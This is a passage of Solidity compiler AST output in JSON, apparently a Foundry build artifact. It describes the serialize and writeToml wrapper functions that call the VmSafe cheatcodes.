VmSafe"}},"id":11050,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4904:16:10","memberName":"serializeBytes32","nodeType":"MemberAccess","referencedDeclaration":13145,"src":"4901:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bytes32_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes32) external returns (string memory)"}},"id":11054,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4901:40:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11048,"id":11055,"nodeType":"Return","src":"4894:47:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4784:9:10","parameters":{"id":11045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11040,"mutability":"mutable","name":"jsonKey","nameLocation":"4808:7:10","nodeType":"VariableDeclaration","scope":11057,"src":"4794:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11039,"name":"string","nodeType":"ElementaryTypeName","src":"4794:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11042,"mutability":"mutable","name":"key","nameLocation":"4831:3:10","nodeType":"VariableDeclaration","scope":11057,"src":"4817:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11041,"name":"string","nodeType":"ElementaryTypeName","src":"4817:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11044,"mutability":"mutable","name":"value","nameLocation":"4844:5:10","nodeType":"VariableDeclaration","scope":11057,"src":"4836:13:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11043,"name":"bytes32","nodeType":"ElementaryTypeName","src":"4836:7:10","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"4793:57:10"},"returnParameters":{"id":11048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11047,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11057,"src":"4869:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11046,"name":"string","nodeType":"ElementaryTypeName","src":"4869:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"4868:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11077,"nodeType":"FunctionDefinition","src":"4954:202:10","nodes":[],"body":{"id":11076,"nodeType":"Block","src":"5092:64:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11071,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11059,"src":"5129:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11072,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11061,"src":"5138:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11073,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11064,"src":"5143:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}],"expression":{"id":11069,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"5109:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11070,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5112:16:10","memberName":"serializeBytes32","nodeType":"MemberAccess","referencedDeclaration":13158,"src":"5109:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bytes32_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes32[] memory) external returns (string memory)"}},"id":11074,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5109:40:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11068,"id":11075,"nodeType":"Return","src":"5102:47:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"4963:9:10","parameters":{"id":11065,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11059,"mutability":"mutable","name":"jsonKey","nameLocation":"4987:7:10","nodeType":"VariableDeclaration","scope":11077,"src":"4973:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11058,"name":"string","nodeType":"ElementaryTypeName","src":"4973:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11061,"mutability":"mutable","name":"key","nameLocation":"5010:3:10","nodeType":"VariableDeclaration","scope":11077,"src":"4996:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11060,"name":"string","nodeType":"ElementaryTypeName","src":"4996:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11064,"mutability":"mutable","name":"value","nameLocation":"5032:5:10","nodeType":"VariableDeclaration","scope":11077,"src":"5015:22:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":11062,"name":"bytes32","nodeType":"ElementaryTypeName","src":"5015:7:10","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":11063,"nodeType":"ArrayTypeName","src":"5015:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"4972:66:10"},"returnParameters":{"id":11068,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11067,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11077,"src":"5073:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11066,"name":"string","nodeType":"ElementaryTypeName","src":"5073:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5072:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11096,"nodeType":"FunctionDefinition","src":"5162:176:10","nodes":[],"body":{"id":11095,"nodeType":"Block","src":"5276:62:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11090,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11079,"src":"5311:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11091,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11081,"src":"5320:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11092,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11083,"src":"5325:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":11088,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"5293:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11089,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5296:14:10","memberName":"serializeBytes","nodeType":"MemberAccess","referencedDeclaration":13170,"src":"5293:17:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_bytes_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes memory) external returns (string memory)"}},"id":11093,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5293:38:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11087,"id":11094,"nodeType":"Return","src":"5286:45:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5171:9:10","parameters":{"id":11084,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11079,"mutability":"mutable","name":"jsonKey","nameLocation":"5195:7:10","nodeType":"VariableDeclaration","scope":11096,"src":"5181:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11078,"name":"string","nodeType":"ElementaryTypeName","src":"5181:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11081,"mutability":"mutable","name":"key","nameLocation":"5218:3:10","nodeType":"VariableDeclaration","scope":11096,"src":"5204:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11080,"name":"string","nodeType":"ElementaryTypeName","src":"5204:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11083,"mutability":"mutable","name":"value","nameLocation":"5236:5:10","nodeType":"VariableDeclaration","scope":11096,"src":"5223:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11082,"name":"bytes","nodeType":"ElementaryTypeName","src":"5223:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"5180:62:10"},"returnParameters":{"id":11087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11086,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11096,"src":"5261:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11085,"name":"string","nodeType":"ElementaryTypeName","src":"5261:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5260:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11116,"nodeType":"FunctionDefinition","src":"5344:198:10","nodes":[],"body":{"id":11115,"nodeType":"Block","src":"5480:62:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11110,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11098,"src":"5515:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11111,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11100,"src":"5524:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11112,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11103,"src":"5529:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}],"expression":{"id":11108,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"5497:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11109,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5500:14:10","memberName":"serializeBytes","nodeType":"MemberAccess","referencedDeclaration":13183,"src":"5497:17:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,bytes memory[] memory) external returns (string memory)"}},"id":11113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5497:38:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11107,"id":11114,"nodeType":"Return","src":"5490:45:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5353:9:10","parameters":{"id":11104,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11098,"mutability":"mutable","name":"jsonKey","nameLocation":"5377:7:10","nodeType":"VariableDeclaration","scope":11116,"src":"5363:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11097,"name":"string","nodeType":"ElementaryTypeName","src":"5363:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11100,"mutability":"mutable","name":"key","nameLocation":"5400:3:10","nodeType":"VariableDeclaration","scope":11116,"src":"5386:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11099,"name":"string","nodeType":"ElementaryTypeName","src":"5386:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11103,"mutability":"mutable","name":"value","nameLocation":"5420:5:10","nodeType":"VariableDeclaration","scope":11116,"src":"5405:20:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":11101,"name":"bytes","nodeType":"ElementaryTypeName","src":"5405:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":11102,"nodeType":"ArrayTypeName","src":"5405:7:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"5362:64:10"},"returnParameters":{"id":11107,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11106,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11116,"src":"5461:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11105,"name":"string","nodeType":"ElementaryTypeName","src":"5461:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5460:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11135,"nodeType":"FunctionDefinition","src":"5548:198:10","nodes":[],"body":{"id":11134,"nodeType":"Block","src":"5683:63:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11129,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11118,"src":"5719:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11130,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11120,"src":"5728:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11131,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11122,"src":"5733:5:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11127,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"5700:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11128,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5703:15:10","memberName":"serializeString","nodeType":"MemberAccess","referencedDeclaration":13230,"src":"5700:18:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,string memory) external returns (string memory)"}},"id":11132,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5700:39:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11126,"id":11133,"nodeType":"Return","src":"5693:46:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5557:9:10","parameters":{"id":11123,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11118,"mutability":"mutable","name":"jsonKey","nameLocation":"5581:7:10","nodeType":"VariableDeclaration","scope":11135,"src":"5567:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11117,"name":"string","nodeType":"ElementaryTypeName","src":"5567:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11120,"mutability":"mutable","name":"key","nameLocation":"5604:3:10","nodeType":"VariableDeclaration","scope":11135,"src":"5590:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11119,"name":"string","nodeType":"ElementaryTypeName","src":"5590:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11122,"mutability":"mutable","name":"value","nameLocation":"5623:5:10","nodeType":"VariableDeclaration","scope":11135,"src":"5609:19:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11121,"name":"string","nodeType":"ElementaryTypeName","src":"5609:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5566:63:10"},"returnParameters":{"id":11126,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11125,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11135,"src":"5664:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11124,"name":"string","nodeType":"ElementaryTypeName","src":"5664:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5663:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11155,"nodeType":"FunctionDefinition","src":"5752:200:10","nodes":[],"body":{"id":11154,"nodeType":"Block","src":"5889:63:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11149,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11137,"src":"5925:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11150,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11139,"src":"5934:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11151,"name":"value","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11142,"src":"5939:5:10","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}],"expression":{"id":11147,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"5906:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11148,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5909:15:10","memberName":"serializeString","nodeType":"MemberAccess","referencedDeclaration":13243,"src":"5906:18:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory,string memory[] memory) external returns (string memory)"}},"id":11152,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5906:39:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":11146,"id":11153,"nodeType":"Return","src":"5899:46:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"serialize","nameLocation":"5761:9:10","parameters":{"id":11143,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11137,"mutability":"mutable","name":"jsonKey","nameLocation":"5785:7:10","nodeType":"VariableDeclaration","scope":11155,"src":"5771:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11136,"name":"string","nodeType":"ElementaryTypeName","src":"5771:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11139,"mutability":"mutable","name":"key","nameLocation":"5808:3:10","nodeType":"VariableDeclaration","scope":11155,"src":"5794:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11138,"name":"string","nodeType":"ElementaryTypeName","src":"5794:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11142,"mutability":"mutable","name":"value","nameLocation":"5829:5:10","nodeType":"VariableDeclaration","scope":11155,"src":"5813:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":11140,"name":"string","nodeType":"ElementaryTypeName","src":"5813:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":11141,"nodeType":"ArrayTypeName","src":"5813:8:10","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"5770:65:10"},"returnParameters":{"id":11146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11145,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11155,"src":"5870:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11144,"name":"string","nodeType":"ElementaryTypeName","src":"5870:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5869:15:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11170,"nodeType":"FunctionDefinition","src":"5958:111:10","nodes":[],"body":{"id":11169,"nodeType":"Block","src":"6025:44:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11165,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11157,"src":"6048:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11166,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11159,"src":"6057:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11162,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"6035:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11164,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6038:9:10","memberName":"writeToml","nodeType":"MemberAccess","referencedDeclaration":14898,"src":"6035:12:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory) external"}},"id":11167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6035:27:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11168,"nodeType":"ExpressionStatement","src":"6035:27:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"write","nameLocation":"5967:5:10","parameters":{"id":11160,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11157,"mutability":"mutable","name":"jsonKey","nameLocation":"5987:7:10","nodeType":"VariableDeclaration","scope":11170,"src":"5973:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11156,"name":"string","nodeType":"ElementaryTypeName","src":"5973:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11159,"mutability":"mutable","name":"path","nameLocation":"6010:4:10","nodeType":"VariableDeclaration","scope":11170,"src":"5996:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11158,"name":"string","nodeType":"ElementaryTypeName","src":"5996:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"5972:43:10"},"returnParameters":{"id":11161,"nodeType":"ParameterList","parameters":[],"src":"6025:0:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":11188,"nodeType":"FunctionDefinition","src":"6075:145:10","nodes":[],"body":{"id":11187,"nodeType":"Block","src":"6166:54:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":11182,"name":"jsonKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11172,"src":"6189:7:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11183,"name":"path","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11174,"src":"6198:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":11184,"name":"valueKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11176,"src":"6204:8:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":11179,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"6176:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":11181,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"6179:9:10","memberName":"writeToml","nodeType":"MemberAccess","referencedDeclaration":14908,"src":"6176:12:10","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory,string memory,string memory) 